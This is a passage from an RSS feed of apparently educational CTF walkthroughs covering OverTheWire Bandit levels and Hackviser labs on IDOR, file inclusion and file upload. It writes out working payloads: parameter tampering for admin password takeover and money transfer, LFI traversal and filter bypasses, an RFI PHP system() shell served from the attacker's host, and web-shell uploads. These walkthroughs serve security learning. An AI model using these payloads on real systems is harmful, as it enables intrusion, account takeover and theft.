2220<br>└──╼ $v                       # Enter<br>     :set shell=/bin/bash     # Enter<br>     :shell                   # Enter<br><br>└──╼ $cat /etc/bandit_pass/bandit26                                                            (bandit26: s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZ)<br># You&#39;ll Find Bandit26 Password and looks similar to ---&gt; s077XXXXXXXXXXXXXXXXXXXXXXXXOgCZ<br>└──╼ $wechal</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*F95uyoVA9Xa1f2TRcrCqWw.png" /></figure><h3>Bandit 26 → Bandit 27</h3><h4>### Concept: SUID</h4><ul><li>Use <strong>bandit27-do</strong> (SUID) to run a command as the next user</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit26@bandit.labs.overthewire.org -p 2220     # Enter bandit26&#39;s Password<br><br>└──╼ $ls -la ./bandit27-do<br>└──╼ $./bandit27-do<br>└──╼ $./bandit27-do id<br>└──╼ $./bandit27-do cat /etc/bandit_pass/bandit27<br><br># You&#39;ll Find Bandit27 Password and looks similar to ---&gt; upsNCc7vzaXXXXXXXXXXXXERwe1MowGB<br>└──╼ $wechal</pre><h3>Bandit 27 → Bandit 28</h3><h4>### Concept: Basic cloning and reading</h4><ul><li>Clone Git repo over SSH and find the secret in repo content</li></ul><h4>### Commands explored:</h4><pre>└──╼ $git clone ssh://bandit27-git@bandit.labs.overthewire.org:2220/home/bandit27-git/repo     # Enter bandit27&#39;s Password<br>└──╼ $cd repo<br>└──╼ $cat README<br># You&#39;ll Find Bandit28 Password and looks similar to ---&gt; Yz9IpL0sBcXXXXXXXXXXXXZNpS4HZRcN<br><br>└──╼ $ssh bandit27@bandit.labs.overthewire.org -p 2220     # Enter bandit27&#39;s Password<br>└──╼ $wechall</pre><h3>Bandit 28 → Bandit 29</h3><h4>### Concept: Viewing commit history</h4><ul><li>Secret removed from current version, but exists in Git history</li></ul><h4>### Commands explored:</h4><pre>└──╼ $git clone ssh://bandit28-git@bandit.labs.overthewire.org:2220/home/bandit28-git/repo     # Enter bandit28&#39;s Password<br>└──╼ $cd repo  &amp;&amp;  cat README<br><br>└──╼ $git log                       # Display History ---&gt; Found: fix info leak)<br>└──╼ $git show &lt;commit_hash&gt;<br>└──╼ $git show 8b7c651b37ce7a94633b7b7b7c980ded19a16e4f<br>└──╼ $git show HEAD^:README.md      # or inspect previous file version <br># You&#39;ll Find Bandit29 Password and looks similar to ---&gt; 4pT1t5DENaXXXXXXXXXXXXE4QLCdjmJ7<br><br>└──╼ $ssh bandit28@bandit.labs.overthewire.org -p 2220     # Enter bandit28&#39;s Password<br>└──╼ $wechall</pre><h3>Bandit 29 → Bandit 30</h3><h4>### Concept: Checking out branches</h4><ul><li>Secret exists in a non-default branch</li></ul><h4>### Commands explored:</h4><pre>└──╼ $git clone ssh://bandit29-git@bandit.labs.overthewire.org:2220/home/bandit29-git/repo     # Enter bandit29&#39;s Password<br>└──╼ $cd repo  &amp;&amp;  cat README.md  &amp;&amp;  git log     # no passwords in production<br><br>└──╼ $git branch -a                                         <br>└──╼ $git checkout -b dev origin/dev<br>└──╼ $cat README.md<br># You&#39;ll Find Bandit30 Password and looks similar to ---&gt; qp30ex3VLzXXXXXXXXXXXXv4Q8l7CDZL<br><br>└──╼ $ssh bandit29@bandit.labs.overthewire.org -p 2220     # Enter bandit29&#39;s Password<br>└──╼ $wechall</pre><h3>Bandit 30 → Bandit 31</h3><h4>### Concept: Exploring tags</h4><ul><li>Secret stored in a Git tag</li></ul><h4>### Commands explored:</h4><pre>└──╼ $git clone ssh://bandit30-git@bandit.labs.overthewire.org:2220/home/bandit30-git/repo     # Enter bandit30&#39;s Password<br>└──╼ $cd repo  &amp;&amp;  cat README.md  &amp;&amp;  git log     # ❌ no passwords<br><br>└──╼ $git show-ref --tags     # 84368f3a7ee06ac993ed579e34b8bd144afad351 refs/tags/secret<br>└──╼ $cat .git/packed-refs    # or inspect Direct commit <br>└──╼ $git show 84368f3a7ee06ac993ed579e34b8bd144afad351<br># You&#39;ll Find Bandit31 Password and looks similar to ---&gt; fb5S2xb7bRXXXXXXXXXXXXbhVyJqhnDy<br><br>└──╼ $ssh bandit30@bandit.labs.overthewire.org -p 2220      # Enter bandit29&#39;s Password<br>└──╼ $wechall</pre><h3>Bandit 31 → Bandit 32</h3><h4>### Concept: Git Force Add</h4><ul><li>Push a file that is ignored by <strong>.gitignore</strong></li><li>A <strong>.gitignore</strong>: is a plain text file in a Git repository&#39;s root directory that tells Git which files or folders to ignore, preventing them from being tracked or committed. It is essential for keeping repositories clean by excluding dependencies (e.g., node_modules), build artifacts, log files, temporary files, and sensitive information like API keys</li><li><strong>git add -f key.txt</strong>: is used to <strong>force-add</strong> a file named <strong>key.txt</strong> to your Git staging area, even if that file is currently ignored by your <strong>.gitignore</strong> rules</li></ul><h4>### Commands explored:</h4><pre>└──╼ $git clone ssh://bandit31-git@bandit.labs.overthewire.org:2220/home/bandit31-git/repo     # Enter bandit31&#39;s Password<br>└──╼ $cd repo  &amp;&amp;  git log  &amp;&amp;  git show-ref --tags  &amp;&amp;  git branch -a  # ❌ Nothing<br><br>└──╼ $ls -la<br>└──╼ $cat .gitignore         # Output ---&gt; *.txt<br>└──╼ $cat README.md          # Output ---&gt; Push key.txt with &quot;May I come in?&quot; to master<br><br>└──╼ $echo &quot;May I come in?&quot; &gt; key.txt<br>└──╼ $git add -f key.txt <br>└──╼ $git push origin master        # Enter bandit31 Password<br># You&#39;ll Find Bandit32 Password and looks similar to ---&gt; 3O9RfhqyAlXXXXXXXXXXXXshZoqoSx5K<br><br>└──╼ $ssh bandit31@bandit.labs.overthewire.org -p 2220      # Enter bandit31&#39;s Password<br>└──╼ $wechall</pre><h3>Bandit 32 → Bandit 33</h3><h4>### Concept: Uppercase Shell Escape</h4><ul><li>Input gets uppercased, breaking commands</li><li>Variable expansion can bypass that behavior</li></ul><h4>### Commands explored:</h4><pre>└──╼ $ssh bandit32@bandit.labs.overthewire.org -p 2220      # Enter bandit32&#39;s Password<br>     &gt;&gt; ls          # ❌ --&gt; LS <br>     &gt;&gt; pwd         # ❌ --&gt; PWD<br>     &gt;&gt;/bin/sh      # ❌ --&gt; /BIN/SH<br>     &gt;&gt; $0          # ✅ Executes the current shell<br><br>└──╼ $/bin/bash<br>└──╼ $cat /etc/bandit_pass/bandit33<br>└──╼ $wechall<br># You&#39;ll Find Bandit33 Password and looks similar to ---&gt; tQdtbs5D5iXXXXXXXXXXXXyTL8izoeJ0</pre><h3>Bandit 33</h3><ul><li>Bandit currently ends here (no Level 34 at the time of writing)</li></ul><pre>└──╼ $ssh bandit33@bandit.labs.overthewire.org -p 2220      # Enter bandit33&#39;s Password <br>└──╼ $wechall</pre><h3>Final Thoughts</h3><p>Bandit is not about memorizing commands — it is about learning how systems fail when misconfigured.</p><h4>Key takeaways :</h4><ul><li>Filtering input is not security — limiting what the system can do is</li><li>Git history is permanent</li><li>SUID binaries are dangerous</li><li>Environment variables matter</li><li>Tools solve problems you already know — understanding solves the ones you don’t</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5833de20357e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser  —  Insecure Direct Object References (IDOR) Labs]]></title>
            <link>https://omersecure.medium.com/hackviser-insecure-direct-object-references-idor-labs-54d44a5c32c2?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/54d44a5c32c2</guid>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[cwse]]></category>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[capt]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Mon, 20 Oct 2025 20:49:27 GMT</pubDate>
            <atom:updated>2025-10-28T04:07:42.858Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hackviser — Insecure Direct Object References (IDOR) Labs</h3><h4>🧪 Hackviser — Web Application Security</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NPRtbk_Y2YyxF1qCJkqNfA.png" /></figure><h4>🧩 What is Insecure Direct Object References (IDOR) ?</h4><p><strong>IDOR (Insecure Direct Object Reference)</strong> is a significant security vulnerability that occurs when authorization checks are not properly implemented, allowing malicious users to access data or resources that do not belong to them .</p><p><strong>For example</strong>, if a transaction number is directly included in a transaction URL and this number can be manipulated to provide a different transaction number, it is possible to access another user’s transaction information. A simple example is provided below :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZtdVCXqo3tQWWVcqQ7wHCg.png" /></figure><ul><li><a href="https://app.hackviser.com/labs/web-application-security"><strong>Web Application Security Labs</strong></a></li></ul><h3>⚙️ Tools Used :</h3><ul><li>Burp-Suite</li><li>DevTools</li></ul><p>َ</p><h3>🧪 Invoices Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an <strong>Insecure Direct Object References (IDOR)</strong> vulnerability that allows unauthorized access to other customers’ invoices. To complete this lab, access other customers’ invoices by changing the “<strong>invoice_id</strong>” value in the URL and find the invoice for the customer named “<strong>Emilia Rawne</strong>” .</blockquote><blockquote><strong>What is the email address of the customer named Emilia Rawne ?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1DTCJdKxNIjR124sCVUVg.png" /></figure><pre>• Click Viwe, your Invoice id = 1001 and your name = John Doe</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3Rrj5xnGpqO2P-Ocf2LVKA.png" /></figure><blockquote>1) Mass IDOR Enumeration : Sequential ID Trials</blockquote><pre>- Test: index.php?invoice_id=1002<br><br># You accessed to Jane Smith Invoice information</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aXu3HTkTmH0tPBZxBoKHVQ.png" /></figure><pre>- Test: index.php?invoice_id=1005<br>- Test: index.php?invoice_id=1004<br>- Test: index.php?invoice_id=1003  (✔️ Emilia Rawne)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NQfVJQmz8R0aWd2KV6IHUg.png" /></figure><p>َ</p><h3>🧪 Ticket Sales Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an <strong>Insecure Direct Object References (IDOR)</strong> vulnerability that causes a product to be offered at a lower price. Your starting balance will not be enough to purchase tickets. To complete the lab, <strong>purchase tickets by</strong> <strong>manipulating the price sent to the server</strong> during ticket purchase .</blockquote><blockquote><strong>What is the order id that appears after the ticket is purchased ?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ghKxpv1FqZspaPiKZsdOAg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cK5owqv0ejPZdTbCPfMpwA.png" /></figure><pre>- Price of one Ticket: 300$  |  Your Money: 50$<br>• so, you can not buy any ticket</pre><ul><li><strong>Manipulating the price sent to the server during ticket purchase :</strong></li></ul><blockquote>1) Review and Manipulate POST Parameters using DevTools</blockquote><pre>- From the Number of Ticket input Field, Right-Click on the page and then select Inspect .<br><br>- You’ll see Two input Fields: the First is for the number of tickets you want to buy, and the Second is for the price of a single ticket .<br><br>- We will tamper with the Second input’s value and set it to 0 so we can obtain the ticket for Free 🤡<br><br>- now go back to page, Enter any number of Ticket you want to buy and then Click Buy</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*EAkzXjeFpN5LFsysc-ZJKA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCE0BDUqZCGUw3kko4JB8Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2tUqMFdsuUf6YFCoZZ41A.png" /></figure><blockquote>2) Review and Manipulate POST Parameters using Burp-Suite</blockquote><pre>- Enter any number of tickets then Click Buy, Intercept The Request in Burp Suite<br><br>- You’ll see Two Parameters: the First (amount) is for the number of tickets you want to buy, and the Second (ticket_money) is for the price of a single ticket .<br><br>- Modify the ticket_money value to 0 and Then Forward The Request<br><br>- now go back to page</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2tUqMFdsuUf6YFCoZZ41A.png" /></figure><p>َ</p><h3>🧪 Change Password Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an <strong>Insecure Direct Object References (IDOR)</strong> vulnerability that leads to unauthorized password change of other users. To complete the lab, <strong>change the password of user</strong> “<strong>admin</strong>” by exploiting the IDOR vulnerability in the password change endpoint and log in to his account .</blockquote><blockquote><strong>What is the phone number of user “admin” ?</strong> (Answer Format: 000–000–0000)</blockquote><pre>- Login with your Credentials: test:test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/573/1*5FkDPEJvIIqNMkubqQyXsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*kjnF0eYqrxE3kbjjjHax0Q.png" /></figure><blockquote>1) Review and Manipulate POST Parameters using DevTools</blockquote><pre>- From the Change Password input Field, Right-Click on the page and then select Inspect .<br><br>- You’ll see Two input Fields: the First is for Changing the Password, and the Second is the User-ID which is Hidden and not visible on the page .<br><br>- Tampering with the Second input’s value could allow Changing another user’s Password (often the user with ID 1 is the Admin) .<br><br>- now go back to page, Enter any New Password you want for Change Password of User_ID 1 and then Click Confirm<br><br>- Finally. Logout From Your test account and then Login with New Admin Credentials: admin:omer-secure</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gDNBm7wOWUjdkvYKirt21g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*oLwrbyZOZEx6Kkr8FR_sMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*sTHD9yDl8Yds6Oz9CSquAw.png" /></figure><blockquote>2) Review and Manipulate POST Parameters using Burp-Suite</blockquote><pre>- Enter any New Password and then Click Confirm, Intercept The Request in Burp Suite<br><br>- You’ll see Two Parameters: the First (password) is for Changing the Password, and the Second (user_id) which is Hidden and not visible on the page .<br><br>- Modify the user_id value to 1 and Then Forward The Request<br><br>- Finally: go back to page, Logout From Your test account and then Login with New Admin Credentials: admin:omer-secure</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qbgP-McudfBMlzmeSu5Tbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*sTHD9yDl8Yds6Oz9CSquAw.png" /></figure><p>َ</p><h3>🧪 Money Transfer Lab (VIP)</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an <strong>Insecure Direct Object References (IDOR)</strong> vulnerability that allows you to transfer money from another user’s account. To complete the lab, <strong>transfer money from user “User 2” to your own account (“User 1”)</strong> by exploiting the IDOR vulnerability in the endpoint performing the money transfer .</blockquote><blockquote><strong>What is the transfer ID that appears when money arrives in the user account ?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/946/1*47RwnuFT9rs4qjYCf9nu7Q.png" /></figure><pre>- Try transfer money (500$) to &quot;User 2&quot;  ---&gt; Success</pre><blockquote>1) Review and Manipulate POST Parameters using DevTools</blockquote><pre>- Right-Click on the Transfer Amount input Field and then select Inspect .<br><br>- You’ll see Three input Fields: the First is for Transfer Amount, the Second is for Receiver ID, and The Third is for Sender ID which is Hidden and not visible on the page .<br><br>- Tampering with the All Three input Fields value could allows you to transfer money from another user’s account .<br><br>- now go back to page, Enter the Transfer Amount you want, Enter Receiver ID of &quot;User 1&quot; for Transfer Money to your account, and then from DevTools Enter Sender ID of &quot;User 2&quot; for Transfer Money from his account . <br><br>- Finally. Click Confirm </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wV05b3mqFd3ioTUUeeybcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/950/1*JRVE-pQlgNoqFwem3lpJvQ.png" /></figure><blockquote>2) Review and Manipulate POST Parameters using Burp-Suite</blockquote><pre>- Based on the above solutions, Try to solve it yourself using Burp-Suite </pre><p>َ</p><h3>🧪 Update Account Lab (VIP)</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an <strong>Insecure Direct Object References (IDOR)</strong> vulnerability that leads to unauthorized modification of other users’ account information. To complete the lab, <strong>identify the IDOR vulnerability in the endpoint where you can change the account information of user “Renee Misson”</strong>. View other users’ account information .</blockquote><blockquote><strong>What is the phone number of user “Renee Misson” (Answer Format: 000–000–0000)</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mcV8qWjbOtoqLdgYCysSxg.png" /></figure><pre>- Open TARGET.hackviser.space<br><br>- Your Default name: Nadia Rennocka<br><br>- Try Change your name ---&gt; Success</pre><blockquote>1) Review and Manipulate POST Parameters using Burp-Suite</blockquote><pre>- Open TARGET.hackviser.space again and Intercept The Request in Burp Suite<br><br>- You’ll see your User ID &quot;id=1&quot; in Cockie sent with Request .<br><br>- Modify the &quot;id=1&quot; to &quot;id=2&quot; and Then Forward The Request<br><br>- go back to the page, You’ll see Informations of User ID 2 that named &quot;Darill Deeprose&quot; .<br><br>• Repeat the same Steps above but with a different &quot;id&quot; value until you find the user Information &quot;Renee Misson&quot; (id=3) .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6eo2cxjH6h7IDjRBYH__Dg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b3SwOGAmiDCkbVYUXW39gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IJ6Idr_8b9C0SGWeh418Ng.png" /></figure><blockquote>1) Additional Step: Change Another User Information</blockquote><pre>• e.x: We’ll Change user Information &quot;Renee Misson&quot;<br><br>- Open TARGET.hackviser.space to View your account Information<br><br>- Click &quot;Save Profile&quot; and then Intercept The Request in Burp Suite<br><br>- You’ll see Multi Parameters for the User Information .<br><br>- Modify the &quot;id=1&quot; to &quot;id=3&quot; and Then Forward The Request<br><br>- Finally: go back to the page, you’ll find the user Information &quot;Renee Misson&quot; has changed to the same as yours .</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rdKA1cAoEyHEQieAQ5k2Cg.png" /></figure><h4>✅ Congrats — All Five Insecure Direct Object References (IDOR) labs have been completed. I hope you found the walkthroughs useful — stay tuned for mitigation guides and follow-up posts 🎉</h4><p>💼 <a href="https://www.linkedin.com/in/omer-secure?source=user_about----------------------ac04f87e55b8----------------------"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=54d44a5c32c2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser  —  File Inclusion Labs]]></title>
            <link>https://omersecure.medium.com/hackviser-file-inclusion-labs-726732304d49?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/726732304d49</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[capt]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[file-inclusion]]></category>
            <category><![CDATA[cwse]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Tue, 14 Oct 2025 01:36:00 GMT</pubDate>
            <atom:updated>2025-10-17T18:31:49.830Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hackviser — File Inclusion Labs</h3><h4>🧪 Hackviser — Web Application Security</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hwTMmb9cD0bY1LOO-UF7sw.png" /></figure><h4>🧩 What is File Inclusion ?</h4><p><strong>File Inclusion</strong> vulnerabilities are among the commonly found and dangerous security flaws in web applications. These vulnerabilities occur when a web application fails to properly validate user inputs, allowing attackers to access files on the server <strong>(LFI)</strong> or include malicious files from remote servers <strong>(RFI)</strong> .</p><ul><li><a href="https://app.hackviser.com/labs/web-application-security"><strong>Web Application Security Labs</strong></a></li></ul><p>َ</p><h3>🧪 Basic Local File Inclusion Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains a <strong>Local File Inclusion (LFI)</strong> vulnerability that leads to unauthorized access to local files within the system. The content of the 404 error page you see in the web application is fetched from the path in the “<strong>page</strong>” parameter in the URL. By changing the “<strong>page</strong>” parameter, you can access other files on the system .</blockquote><blockquote>What is the username of the last user added in <strong>/etc/passwd</strong> ?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0T7r0__0hK2tEG7Y1C9WZg.png" /></figure><blockquote>1) Detection of the LFI Vulnerability :</blockquote><pre>• Removing the value from the &quot;page&quot; parameter and observing the application response :<br>- Test: index.php?page=<br><br>• As seen, the application returns an error message indicates that the index.php file is missing in the relevant directory</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HM9O22iIVFPjTipcBWqSQ.png" /></figure><blockquote>2) Exploiting the LFI Vulnerability :</blockquote><pre>• We Now at /var/www/html directory :<br><br>- Test: index.php?page=../etc/passwd         (❌ /var/www/etc/passwd)<br>- Test: index.php?page=../../etc/passwd      (❌ /var/etc/passwd)<br>- Test: index.php?page=../../../etc/passwd   (✔️ /etc/passwd)<br><br>• Right-Click --&gt; View Page Source</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9FE1bOi4-_RddpI2SCfgaQ.png" /></figure><p>َ</p><h3>🧪 Local File Inclusion Filter Bypass Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains a <strong>Local File Inclusion (LFI)</strong> vulnerability that leads to unauthorized access to local files within the system. The content of the 404 error page you see in the web application is fetched from the path in the “<strong>page</strong>” parameter in the URL. By changing the “<strong>page</strong>” parameter, you can access other files on the system .</blockquote><blockquote><strong>“/” and “..”</strong> are <strong>blocked to prevent LFI vulnerability</strong>. Find a way to bypass this restriction .</blockquote><blockquote>What is the username of the last user added in <strong>/etc/passwd</strong> ?</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0T7r0__0hK2tEG7Y1C9WZg.png" /></figure><blockquote>1) Detection of the LFI Vulnerability :</blockquote><pre>- Test: index.php?page=<br><br>• The include(&#39;/var/www/html/includes&#39;) message indicates the application prepends includes/ to the page value. include() expects a file (e.g. includes/file.php), not a directory — hence the call failed with Not a directory / Failed opening . <br><br>• Vuln Code 1: include(__DIR__ . &#39;/includes/&#39; . $page);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EZLO0Vny7QGZuCh6RTzn0Q.png" /></figure><pre>- Test: index.php?page=../etc/passwd            (❌ ../    Blocked)<br>- Test: index.php?page=../../etc/passwd         (❌ ../../ Blocked)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eTh-ky71hwAHYAFtVUX-Rg.png" /></figure><pre>- Test: index.php?page=....//....//etc/passwd   (✔️ ....// &lt;-- Filter --&gt; ../ = Bypass)<br>- Test: index.php?page=..././..././etc/passwd   (✔️ ..././ &lt;-- Filter --&gt; ../ = Bypass)<br><br>• Vuln Code 2: $page = str_replace(&#39;../&#39;, &#39;&#39;, $_GET[&#39;page&#39;]);<br><br>• Full Vuln Code: $page = str_replace(&#39;../&#39;, &#39;&#39;, $_GET[&#39;page&#39;]);  include(__DIR__ . &#39;/includes/&#39; . $page);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*37uLDEgBwMBUPYdbr0IaNQ.png" /></figure><blockquote>2) Exploiting the LFI Vulnerability :</blockquote><pre>We Now at /var/www/html/includes directory :<br><br>- Test: index.php?page=....//etc/passwd                    (❌ /var/www/html/etc/passwd)<br>- Test: index.php?page=....//....//....//....//etc/passwd  (✔️ /etc/passwd)<br>- Test: index.php?page=..././..././..././..././etc/passwd  (✔️ /etc/passwd)<br><br>• Right-Click --&gt; View Page Source</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F08i9KW3g1XuFDfMVAYJvw.png" /></figure><p>َ</p><h3>🧪 Basic Remote File Inclusion Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains a <strong>Remote File Inclusion (RFI)</strong> vulnerability that leads to remote code execution, allowing the attacker to run arbitrary code hosted on a remote server. The content of the 404 error page you see in the web application is fetched from the path in the “<strong>page</strong>” parameter in the URL. A file from a remote system can be included in the page by changing the “<strong>page</strong>” parameter .</blockquote><blockquote>You should serve the payload on HackerBox or on your own computer using a VPN .</blockquote><blockquote><strong>What is the hostname of the server on which the website runs ?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0T7r0__0hK2tEG7Y1C9WZg.png" /></figure><blockquote>1) Detection of the LFI Vulnerability :</blockquote><pre>- Test: index.php?page=<br><br>As seen, the application returns an error message indicates that the index.php file is missing in the relevant directory</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HM9O22iIVFPjTipcBWqSQ.png" /></figure><blockquote>2) Exploiting the LFI Vulnerability :</blockquote><pre>• We Now at /var/www/html directory :<br><br>- Test: index.php?page=../../../etc/passwd   (✔️ /etc/passwd)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lZCEXIg4iAwbJ2uZn3th_Q.png" /></figure><blockquote>3) Exploiting the RFI Vulnerability :</blockquote><pre>1. Create shell.php file with: &lt;?php  system(&#39;hostname&#39;);?&gt;<br><br>2. run server: python3 -m http.server 8000  or  python -m http.server 8000<br><br>3. To find your IP address: (Linux: ip a | Windows: ipconfig | macOS: ifconfig)<br><br>4. go: https://TARGET/index.php?page=http://YourIP:8000/shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*hnH3Y3M56Ev9IxLmyVdpZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LtWT9DC71NHBWnC1MbLs1Q.png" /></figure><h4>✅ Congrats — All three File Inclusion labs have been completed. I hope you found the walkthroughs useful — stay tuned for mitigation guides and follow-up posts 🎉</h4><p>💼 <a href="https://www.linkedin.com/in/omer-secure?source=user_about----------------------ac04f87e55b8----------------------"><strong>Linkedin</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=726732304d49" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser — Unrestricted File Upload Labs]]></title>
            <link>https://omersecure.medium.com/hackviser-unrestricted-file-upload-labs-f98b1c65b5c4?source=rss-ac04f87e55b8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f98b1c65b5c4</guid>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[unrestricted-file-upload]]></category>
            <category><![CDATA[cwse]]></category>
            <category><![CDATA[capt]]></category>
            <dc:creator><![CDATA[Omer Bawazir]]></dc:creator>
            <pubDate>Fri, 10 Oct 2025 17:38:03 GMT</pubDate>
            <atom:updated>2025-10-10T17:49:45.306Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hackviser — Unrestricted File Upload Labs</h3><h4>🧪 Hackviser — Web Application Security</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W0F3uE7Xwpsdv2lQY7SUAw.png" /></figure><h4>🧩 What is Unrestricted File Upload ?</h4><p><strong>Unrestricted File Upload</strong> vulnerabilities arise from the insecure development of file upload functionalities in web applications. In modern web applications, file uploading is a crucial function that allows users to attach files or change their profile pictures. However, if this functionality is not securely developed, it can lead to serious security risks resulting in <strong>Remote Code Execution </strong>.</p><ul><li><a href="https://app.hackviser.com/labs/web-application-security"><strong>Web Application Security Labs</strong></a></li></ul><h4>⚙️ Tools/Scripts Used :</h4><ul><li>Burp-Suite</li><li>Download Web Shell (e.x p0wny-shell)</li></ul><h3>🧪 Basic Unrestricted File Upload Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains a Unrestricted File Upload vulnerability. The application has an image upload function, <strong>but the uploaded file content or type is not checked on the server</strong>. To complete the lab, upload a malicious PHP script and read the “config.php” file .</blockquote><blockquote>What is the database password in the <strong>config.php</strong> file ?</blockquote><pre>1) Upload shell.php File to the Target   ### Success --&gt; The Server does not Check Uploaded File Content/Type<br><br>2) Open https://TARGET/uploads/shell.php<br><br>3) Locate and Read the config.php File</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/974/1*J5cm9dQItTcVJ2Bzq_yatA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h2KAdQf_tNOKvyVE9tyziw.png" /></figure><p>َ</p><h3>🧪 MIME Type Filter Bypass Lab</h3><p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p><blockquote>This lab contains an unrestricted file upload vulnerability. <strong>The image upload function in the application filters uploaded files based on the Mime-Type</strong>. To complete the lab, upload a malicious PHP script by changing the Mime-Type and read the “config.php” file .</blockquote><blockquote>What is the database password in the <strong>config.php</strong> file ?</blockquote><pre>1) Upload shell.php File to the Target   ### Failure --&gt; The Application Filters Uploaded Files based on The Mime-Type</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*AoTX_is52xVp4wssRoSUAg.png" /></figure><blockquote>&lt; — — — MIME-Type Filter Bypass — — — →</blockquote><pre>2) Upload shell.php File again, Intercept The Request in Burp Suite, Modify the Content-Type Then Forward The Request<br><br>3) Open 